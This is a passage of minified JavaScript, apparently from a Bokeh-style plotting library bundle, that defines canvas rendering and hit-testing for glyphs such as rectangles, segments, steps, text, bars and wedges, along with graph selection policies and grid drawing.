n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){var t,e;if(\\\"data\\\"==this.model.properties.width.units)t=this._map_dist_corner_for_data_side_length(this._x,this._width,this.renderer.xscale),this.sw=t[0],this.sx0=t[1];else{this.sw=this._width;var i=this.sx.length;this.sx0=new Float64Array(i);for(var n=0;n<i;n++)this.sx0[n]=this.sx[n]-this.sw[n]/2}if(\\\"data\\\"==this.model.properties.height.units)e=this._map_dist_corner_for_data_side_length(this._y,this._height,this.renderer.yscale),this.sh=e[0],this.sy1=e[1];else{this.sh=this._height;var r=this.sy.length;this.sy1=new Float64Array(r);for(var n=0;n<r;n++)this.sy1[n]=this.sy[n]-this.sh[n]/2}var o=this.sw.length;this.ssemi_diag=new Float64Array(o);for(var n=0;n<o;n++)this.ssemi_diag[n]=Math.sqrt(this.sw[n]/2*this.sw[n]/2+this.sh[n]/2*this.sh[n]/2)},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sx0,s=i.sy1,a=i.sw,l=i.sh,h=i._angle;if(this.visuals.fill.doit)for(var u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||(this.visuals.fill.set_vectorize(t,_),h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.fillRect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.fillRect(o[_],s[_],a[_],l[_]))}if(this.visuals.line.doit){t.beginPath();for(var p=0,d=e;p<d.length;p++){var _=d[p];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||0!=a[_]&&0!=l[_]&&(h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.rect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.rect(o[_],s[_],a[_],l[_]),this.visuals.line.set_vectorize(t,_),t.stroke(),t.beginPath())}t.stroke()}},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=[],s=0,a=this.sx0.length;s<a;s++)o.push(this.sx0[s]+this.sw[s]/2);for(var l=[],s=0,a=this.sy1.length;s<a;s++)l.push(this.sy1[s]+this.sh[s]/2);for(var h=A.max(this._ddist(0,o,this.ssemi_diag)),u=A.max(this._ddist(1,l,this.ssemi_diag)),c=n-h,_=n+h,p=r-u,d=r+u,f=[],v=T.validate_bbox_coords([c,_],[p,d]),m=0,g=this.index.indices(v);m<g.length;m++){var s=g[m],y=void 0,b=void 0;if(this._angle[s]){var x=Math.sin(-this._angle[s]),w=Math.cos(-this._angle[s]),k=w*(e-this.sx[s])-x*(i-this.sy[s])+this.sx[s],S=x*(e-this.sx[s])+w*(i-this.sy[s])+this.sy[s];e=k,i=S,b=Math.abs(this.sx[s]-e)<=this.sw[s]/2,y=Math.abs(this.sy[s]-i)<=this.sh[s]/2}else b=e-this.sx0[s]<=this.sw[s]&&0<=e-this.sx0[s],y=i-this.sy1[s]<=this.sh[s]&&0<=i-this.sy1[s];y&&b&&f.push(s)}var C=T.create_empty_hit_test_result();return C.indices=f,C},e.prototype._map_dist_corner_for_data_side_length=function(t,e,i){for(var n=t.length,r=new Float64Array(n),o=new Float64Array(n),s=0;s<n;s++)r[s]=Number(t[s])-e[s]/2,o[s]=Number(t[s])+e[s]/2;for(var a=i.v_compute(r),l=i.v_compute(o),h=this.sdist(i,r,e,\\\"edge\\\",this.model.dilate),u=a,s=0,c=a.length;s<c;s++)if(a[s]!=l[s]){u=a[s]<l[s]?a:l;break}return[h,u]},e.prototype._ddist=function(t,e,i){for(var n=0==t?this.renderer.xscale:this.renderer.yscale,r=e,o=r.length,s=new Float64Array(o),a=0;a<o;a++)s[a]=r[a]+i[a];for(var l=n.v_invert(r),h=n.v_invert(s),u=l.length,c=new Float64Array(u),a=0;a<u;a++)c[a]=Math.abs(h[a]-l[a]);return c},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.RectView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Rect\\\",this.prototype.default_view=a,this.define({dilate:[s.Bool,!1]})},t}(r.CenterRotatable);(i.Rect=l).initClass()},function(t,e,i){var n=t(391),k=t(9),a=t(37),r=t(123),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++){var n=this._x0[e],r=this._x1[e],o=this._y0[e],s=this._y1[e];isNaN(n+r+o+s)||t.push({minX:Math.min(n,r),minY:Math.min(o,s),maxX:Math.max(n,r),maxY:Math.max(o,s),i:e})}return new a.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1;if(this.visuals.line.doit)for(var a=0,l=e;a<l.length;a++){var h=l[a];isNaN(n[h]+r[h]+o[h]+s[h])||(t.beginPath(),t.moveTo(n[h],r[h]),t.lineTo(o[h],s[h]),this.visuals.line.set_vectorize(t,h),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n={x:e,y:i},r=[],o=this.renderer.xscale.r_invert(e-2,e+2),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(i-2,i+2),h=l[0],u=l[1],c=this.index.indices({minX:s,minY:h,maxX:a,maxY:u}),_=0,p=c;_<p.length;_++){var d=p[_],f=Math.pow(Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",d)/2),2),v={x:this.sx0[d],y:this.sy0[d]},m={x:this.sx1[d],y:this.sy1[d]},g=k.dist_to_segment_squared(n,v,m);g<f&&r.push(d)}var y=k.create_empty_hit_test_result();return y.indices=r,y},e.prototype._hit_span=function(t){var e,i,n,r,o,s=this.renderer.plot_view.frame.bbox.ranges,a=s[0],l=s[1],h=t.sx,u=t.sy;\\\"v\\\"==t.direction?(o=this.renderer.yscale.invert(u),e=[this._y0,this._y1],n=e[0],r=e[1]):(o=this.renderer.xscale.invert(h),i=[this._x0,this._x1],n=i[0],r=i[1]);for(var c=[],_=this.renderer.xscale.r_invert(a.start,a.end),p=_[0],d=_[1],f=this.renderer.yscale.r_invert(l.start,l.end),v=f[0],m=f[1],g=this.index.indices({minX:p,minY:v,maxX:d,maxY:m}),y=0,b=g;y<b.length;y++){var x=b[y];(n[x]<=o&&o<=r[x]||r[x]<=o&&o<=n[x])&&c.push(x)}var w=k.create_empty_hit_test_result();return w.indices=c,w},e.prototype.scenterx=function(t){return(this.sx0[t]+this.sx1[t])/2},e.prototype.scentery=function(t){return(this.sy0[t]+this.sy1[t])/2},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.SegmentView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Segment\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Segment=l).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n,r,o,s,a,l,h=i.sx,u=i.sy,c=!1,_=null;this.visuals.line.set_value(t);var p=e.length;if(!(p<2)){t.beginPath(),t.moveTo(h[0],u[0]);for(var d=0,f=e;d<f.length;d++){var v=f[d],m=void 0,g=void 0,y=void 0,b=void 0;switch(this.model.mode){case\\\"before\\\":n=[h[v-1],u[v]],m=n[0],y=n[1],r=[h[v],u[v]],g=r[0],b=r[1];break;case\\\"after\\\":o=[h[v],u[v-1]],m=o[0],y=o[1],s=[h[v],u[v]],g=s[0],b=s[1];break;case\\\"center\\\":var x=(h[v-1]+h[v])/2;a=[x,u[v-1]],m=a[0],y=a[1],l=[x,u[v]],g=l[0],b=l[1];break;default:throw new Error(\\\"unexpected\\\")}if(c){if(!isFinite(h[v]+u[v])){t.stroke(),t.beginPath(),c=!1,_=v;continue}null!=_&&1<v-_&&(t.stroke(),c=!1)}c?(t.lineTo(m,y),t.lineTo(g,b)):(t.beginPath(),t.moveTo(h[v],u[v]),c=!0),_=v}t.lineTo(h[p-1],u[p-1]),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.StepView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Step\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({mode:[s.StepMode,\\\"before\\\"]})},t}(r.XYGlyph);(i.Step=l).initClass()},function(t,e,i){var n=t(391),r=t(146),d=t(9),o=t(15),O=t(41),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._rotate_point=function(t,e,i,n,r){var o=(t-i)*Math.cos(r)-(e-n)*Math.sin(r)+i,s=(t-i)*Math.sin(r)+(e-n)*Math.cos(r)+n;return[o,s]},e.prototype._text_bounds=function(t,e,i,n){var r=[t,t+i,t+i,t,t],o=[e,e,e-n,e-n,e];return[r,o]},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i._x_offset,s=i._y_offset,a=i._angle,l=i._text;this._sys=[],this._sxs=[];for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(n[c]+r[c]+o[c]+s[c]+a[c])&&null!=l[c]&&(this._sxs[c]=[],this._sys[c]=[],this.visuals.text.doit)){var _=\\\"\\\"+l[c];t.save(),t.translate(n[c]+o[c],r[c]+s[c]),t.rotate(a[c]),this.visuals.text.set_vectorize(t,c);var p=this.visuals.text.cache_select(\\\"font\\\",c),d=O.get_text_height(p).height,f=this.visuals.text.text_line_height.value()*d;if(-1==_.indexOf(\\\"\\\\n\\\")){t.fillText(_,0,0);var v=n[c]+o[c],m=r[c]+s[c],g=t.measureText(_).width,y=this._text_bounds(v,m,g,f),b=y[0],x=y[1];this._sxs[c].push(b),this._sys[c].push(x)}else{var w=_.split(\\\"\\\\n\\\"),k=f*w.length,S=this.visuals.text.cache_select(\\\"text_baseline\\\",c),C=void 0;switch(S){case\\\"top\\\":C=0;break;case\\\"middle\\\":C=-k/2+f/2;break;case\\\"bottom\\\":C=-k+f;break;default:C=0,console.warn(\\\"'\\\"+S+\\\"' baseline not supported with multi line text\\\")}for(var T=0,A=w;T<A.length;T++){var E=A[T];t.fillText(E,0,C);var v=n[c]+o[c],m=C+r[c]+s[c],g=t.measureText(E).width,M=this._text_bounds(v,m,g,f),b=M[0],x=M[1];this._sxs[c].push(b),this._sys[c].push(x),C+=f}}t.restore()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=[],r=0;r<this._sxs.length;r++)for(var o=this._sxs[r],s=this._sys[r],a=o.length,l=0,h=a;l<h;l++){var u=this._rotate_point(e,i,o[a-1][0],s[a-1][0],-this._angle[r]),c=u[0],_=u[1];d.point_in_poly(c,_,o[l],s[l])&&n.push(r)}var p=d.create_empty_hit_test_result();return p.indices=n,p},e.prototype._scenterxy=function(t){var e=this._sxs[t][0][0],i=this._sys[t][0][0],n=(this._sxs[t][0][2]+e)/2,r=(this._sys[t][0][2]+i)/2,o=this._rotate_point(n,r,e,i,this._angle[t]),s=o[0],a=o[1];return{x:s,y:a}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.TextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Text\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\"]),this.define({text:[o.StringSpec,{field:\\\"text\\\"}],angle:[o.AngleSpec,0],x_offset:[o.NumberSpec,0],y_offset:[o.NumberSpec,0]})},t}(r.XYGlyph);(i.Text=a).initClass()},function(t,e,i){var x=t(9);i.generic_line_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1;e.save(),e.beginPath(),e.moveTo(r,(s+a)/2),e.lineTo(o,(s+a)/2),t.line.doit&&(t.line.set_vectorize(e,n),e.stroke()),e.restore()},i.generic_area_legend=function(t,e,i,n){var r=i.x0,o=i.x1,s=i.y0,a=i.y1,l=.1*Math.abs(o-r),h=.1*Math.abs(a-s),u=r+l,c=o-l,_=s+h,p=a-h;t.fill.doit&&(t.fill.set_vectorize(e,n),e.fillRect(u,_,c-u,p-_)),t.line.doit&&(e.beginPath(),e.rect(u,_,c-u,p-_),t.line.set_vectorize(e,n),e.stroke())},i.line_interpolation=function(t,e,i,n,r,o){var s,a,l,h,u,c,_,p,d,f,v=e.sx,m=e.sy;\\\"point\\\"==e.type?(s=t.yscale.r_invert(m-1,m+1),d=s[0],f=s[1],a=t.xscale.r_invert(v-1,v+1),_=a[0],p=a[1]):\\\"v\\\"==e.direction?(l=t.yscale.r_invert(m,m),d=l[0],f=l[1],h=[Math.min(i-1,r-1),Math.max(i+1,r+1)],_=h[0],p=h[1]):(u=t.xscale.r_invert(v,v),_=u[0],p=u[1],c=[Math.min(n-1,o-1),Math.max(n+1,o+1)],d=c[0],f=c[1]);var g=x.check_2_segments_intersect(_,d,p,f,i,n,r,o),y=g.x,b=g.y;return[y,b]}},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._x.length)},e.prototype._lrtb=function(t){var e=this._x[t]-this._width[t]/2,i=this._x[t]+this._width[t]/2,n=Math.max(this._top[t],this._bottom[t]),r=Math.min(this._top[t],this._bottom[t]);return[e,i,n,r]},e.prototype._map_data=function(){this.sx=this.renderer.xscale.v_compute(this._x),this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"),this.stop=this.renderer.yscale.v_compute(this._top),this.sbottom=this.renderer.yscale.v_compute(this._bottom);var t=this.sx.length;this.sleft=new Float64Array(t),this.sright=new Float64Array(t);for(var e=0;e<t;e++)this.sleft[e]=this.sx[e]-this.sw[e]/2,this.sright[e]=this.sx[e]+this.sw[e]/2;this._clamp_viewport()},e}(r.BoxView);i.VBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VBar\\\",this.prototype.default_view=s,this.coords([[\\\"x\\\",\\\"bottom\\\"]]),this.define({width:[o.DistanceSpec],top:[o.NumberSpec]}),this.override({bottom:0})},t}(r.Box);(i.VBar=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),P=t(9),s=t(15),j=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle,l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),t.lineTo(n[c],r[c]),t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,c),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,c),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f),g=2*this.max_radius;\\\"data\\\"===this.model.properties.radius.units?(u=v-g,c=v+g,_=m-g,p=m+g):(s=d-g,a=d+g,e=this.renderer.xscale.r_invert(s,a),u=e[0],c=e[1],l=f-g,h=f+g,i=this.renderer.yscale.r_invert(l,h),_=i[0],p=i[1]);for(var y=[],b=P.validate_bbox_coords([u,c],[_,p]),x=0,w=this.index.indices(b);x<w.length;x++){var k=w[x],S=Math.pow(this.sradius[k],2);n=this.renderer.xscale.r_compute(v,this._x[k]),s=n[0],a=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),l=r[0],h=r[1],(o=Math.pow(s-a,2)+Math.pow(l-h,2))<=S&&y.push([k,o])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=y;A<E.length;A++){var M=E[A],k=M[0],O=M[1],z=Math.atan2(f-this.sy[k],d-this.sx[k]);j.angle_between(-z,-this._start_angle[k],-this._end_angle[k],C)&&T.push([k,O])}return P.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=this.sradius[t]/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.WedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Wedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Wedge=l).initClass()},function(t,e,i){var n=t(391),o=t(37),r=t(123),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._x[e],r=this._y[e];!isNaN(n+r)&&isFinite(n+r)&&t.push({minX:n,minY:r,maxX:n,maxY:r,i:e})}return new o.SpatialIndex(t)},e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e}(r.GlyphView);i.XYGlyphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"XYGlyph\\\",this.coords([[\\\"x\\\",\\\"y\\\"]])},t}(r.Glyph);(i.XYGlyph=a).initClass()},function(t,e,i){var n=t(391),r=t(59),u=t(22),c=t(21),_=t(9),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphHitTestPolicy\\\"},t.prototype._hit_test_nodes=function(t,e){if(!e.model.visible)return null;var i=e.node_view.glyph.hit_test(t);return null==i?null:e.node_view.model.view.convert_selection_from_subset(i)},t.prototype._hit_test_edges=function(t,e){if(!e.model.visible)return null;var i=e.edge_view.glyph.hit_test(t);return null==i?null:e.edge_view.model.view.convert_selection_from_subset(i)},t}(r.Model),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesOnly\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;return r.update(t,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.model.get_selection_manager().get_or_create_inspector(i.node_view.model);return o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(i.GraphHitTestPolicy=o);(i.NodesOnly=s).initClass();var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NodesAndLinkedEdges\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_nodes(t,e)},t.prototype.get_linked_edges=function(e,t,i){var n=[];\\\"selection\\\"==i?n=e.selected.indices.map(function(t){return e.data.index[t]}):\\\"inspection\\\"==i&&(n=e.inspected.indices.map(function(t){return e.data.index[t]}));for(var r=[],o=0;o<t.data.start.length;o++)(c.contains(n,t.data.start[o])||c.contains(n,t.data.end[o]))&&r.push(o);for(var s=_.create_empty_hit_test_result(),a=0,l=r;a<l.length;a++){var o=l[a];s.multiline_indices[o]=[0]}return s.indices=r,s},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.node_renderer.data_source.selected;r.update(t,i,n);var o=e.edge_renderer.data_source.selected,s=this.get_linked_edges(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.node_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model);o.update(t,n,r),i.node_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model),a=this.get_linked_edges(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.edge_view.model.data_source.setv({inspected:s},{silent:!0}),i.node_view.model.data_source.inspect.emit([i.node_view,{geometry:e}]),!o.is_empty()},t}(o);(i.NodesAndLinkedEdges=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EdgesAndLinkedNodes\\\"},t.prototype.hit_test=function(t,e){return this._hit_test_edges(t,e)},t.prototype.get_linked_nodes=function(e,t,i){var n=[];\\\"selection\\\"==i?n=t.selected.indices:\\\"inspection\\\"==i&&(n=t.inspected.indices);for(var r=[],o=0,s=n;o<s.length;o++){var a=s[o];r.push(t.data.start[a]),r.push(t.data.end[a])}var l=c.uniq(r).map(function(t){return u.indexOf(e.data.index,t)}),h=_.create_empty_hit_test_result();return h.indices=l,h},t.prototype.do_selection=function(t,e,i,n){if(null==t)return!1;var r=e.edge_renderer.data_source.selected;r.update(t,i,n);var o=e.node_renderer.data_source.selected,s=this.get_linked_nodes(e.node_renderer.data_source,e.edge_renderer.data_source,\\\"selection\\\");return o.update(s,i,n),e.edge_renderer.data_source._select.emit(),!r.is_empty()},t.prototype.do_inspection=function(t,e,i,n,r){if(null==t)return!1;var o=i.edge_view.model.data_source.selection_manager.get_or_create_inspector(i.edge_view.model);o.update(t,n,r),i.edge_view.model.data_source.setv({inspected:o},{silent:!0});var s=i.node_view.model.data_source.selection_manager.get_or_create_inspector(i.node_view.model),a=this.get_linked_nodes(i.node_view.model.data_source,i.edge_view.model.data_source,\\\"inspection\\\");return s.update(a,n,r),i.node_view.model.data_source.setv({inspected:s},{silent:!0}),i.edge_view.model.data_source.inspect.emit([i.edge_view,{geometry:e}]),!o.is_empty()},t}(o);(i.EdgesAndLinkedNodes=l).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(147),i),n.__exportStar(t(149),i),n.__exportStar(t(150),i)},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutProvider\\\"},t}(r.Model);(i.LayoutProvider=o).initClass()},function(t,e,i){var n=t(391),r=t(149),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StaticLayoutProvider\\\",this.define({graph_layout:[o.Any,{}]})},t.prototype.get_node_coordinates=function(t){for(var e=[],i=[],n=t.data.index,r=0,o=n.length;r<o;r++){var s=this.graph_layout[n[r]],a=null!=s?s:[NaN,NaN],l=a[0],h=a[1];e.push(l),i.push(h)}return[e,i]},t.prototype.get_edge_coordinates=function(t){for(var e,i,n=[],r=[],o=t.data.start,s=t.data.end,a=null!=t.data.xs&&null!=t.data.ys,l=0,h=o.length;l<h;l++){var u=null!=this.graph_layout[o[l]]&&null!=this.graph_layout[s[l]];if(a&&u)n.push(t.data.xs[l]),r.push(t.data.ys[l]);else{var c=void 0,_=void 0;u?(e=[this.graph_layout[o[l]],this.graph_layout[s[l]]],_=e[0],c=e[1]):(_=(i=[[NaN,NaN],[NaN,NaN]])[0],c=i[1]),n.push([_[0],c[0]]),r.push([_[1],c[1]])}}return[n,r]},t}(r.LayoutProvider);(i.StaticLayoutProvider=s).initClass()},function(t,e,i){var n=t(391),h=t(79),r=t(187),o=t(15),u=t(44),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),Object.defineProperty(t.prototype,\\\"_x_range_name\\\",{get:function(){return this.model.x_range_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"_y_range_name\\\",{get:function(){return this.model.y_range_name},enumerable:!0,configurable:!0}),t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save(),this._draw_regions(t),this._draw_minor_grids(t),this._draw_grids(t),t.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.request_render()})},t.prototype._draw_regions=function(t){if(this.visuals.band_fill.doit){var e=this.model.grid_coords(\\\"major\\\",!1),i=e[0],n=e[1];this.visuals.band_fill.set_value(t);for(var r=0;r<i.length-1;r++)if(r%2==1){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1],l=this.plot_view.map_to_screen(i[r+1],n[r+1],this._x_range_name,this._y_range_name),h=l[0],u=l[1];t.fillRect(s[0],a[0],h[1]-s[0],u[1]-a[0]),t.fill()}}},t.prototype._draw_grids=function(t){if(this.visuals.grid_line.doit){var e=this.model.grid_coords(\\\"major\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.grid_line,i,n)}},t.prototype._draw_minor_grids=function(t){if(this.visuals.minor_grid_line.doit){var e=this.model.grid_coords(\\\"minor\\\"),i=e[0],n=e[1];this._draw_grid_helper(t,this.visuals.minor_grid_line,i,n)}},t.prototype._draw_grid_helper=function(t,e,i,n){e.set_value(t);for(var r=0;r<i.length;r++){var o=this.plot_view.map_to_screen(i[r],n[r],this._x_range_name,this._y_range_name),s=o[0],a=o[1];t.beginPath(),t.moveTo(Math.round(s[0]),Math.round(a[0]));for(var l=1;l<s.length;l++)t.lineTo(Math.round(s[l]),Math.round(a[l]));t.stroke()}},t}(r.GuideRendererView);i.GridView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Grid\\\",this.prototype.default_view=s,this.mixins([\\\"line:grid_\\\",\\\"line:minor_grid_\\\",\\\"fill:band_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],dimension:[o.Number,0],ticker:[o.Instance],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\",band_fill_color:null,band_fill_alpha:0,grid_line_color:\\\"#e5e5e5\\\",minor_grid_line_color:null})},t.prototype.ranges=function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},t.prototype.computed_bounds=function(){var t,e,i,n=this.ranges()[0],r=this.bounds,o=[n.min,n.max];if(u.isArray(r))e=Math.min(r[0],r[1]),i=Math.max(r[0],r[1]),e<o[0]&&(e=o[0]),o[1]<i&&(i=o[1]);else{e=o[0],i=o[1];for(var s=0,a=this.plot.select(h.Axis);s<a.length;s++){var l=a[s];l.dimension==this.dimension&&l.x_range_name==this.x_range_name&&l.y_range_name==this.y_range_name&&(t=l.computed_bounds,e=t[0],i=t[1])}}return[e,i]},t.prototype.grid_coords=function(t,e){var i;void 0===e&&(e=!0);var n=this.dimension,r=(n+1)%2,o=this.ranges(),s=o[0],a=o[1],l=this.computed_bounds(),h=l[0],u=l[1];i=[Math.min(h,u),Math.max(h,u)],h=i[0],u=i[1];var c=this.ticker.get_ticks(h,u,s,a.min,{})[t],_=s.min,p=s.max,d=a.min,f=a.max,v=[[],[]];e||(c[0]!=_&&c.splice(0,0,_),c[c.length-1]!=p&&c.push(p));for(var m=0;m<c.length;m++)if(c[m]!=_&&c[m]!=p||!e){for(var g=[],y=[],b=0;b<2;b++){var x=d+(f-d)/1*b;g.push(c[m]),y.push(x)}v[n].push(g),v[r].push(y)}return v},t}(r.GuideRenderer);(i.Grid=a).initClass()},function(t,e,i){var n=t(151);i.Grid=n.Grid},function(t,e,i){var 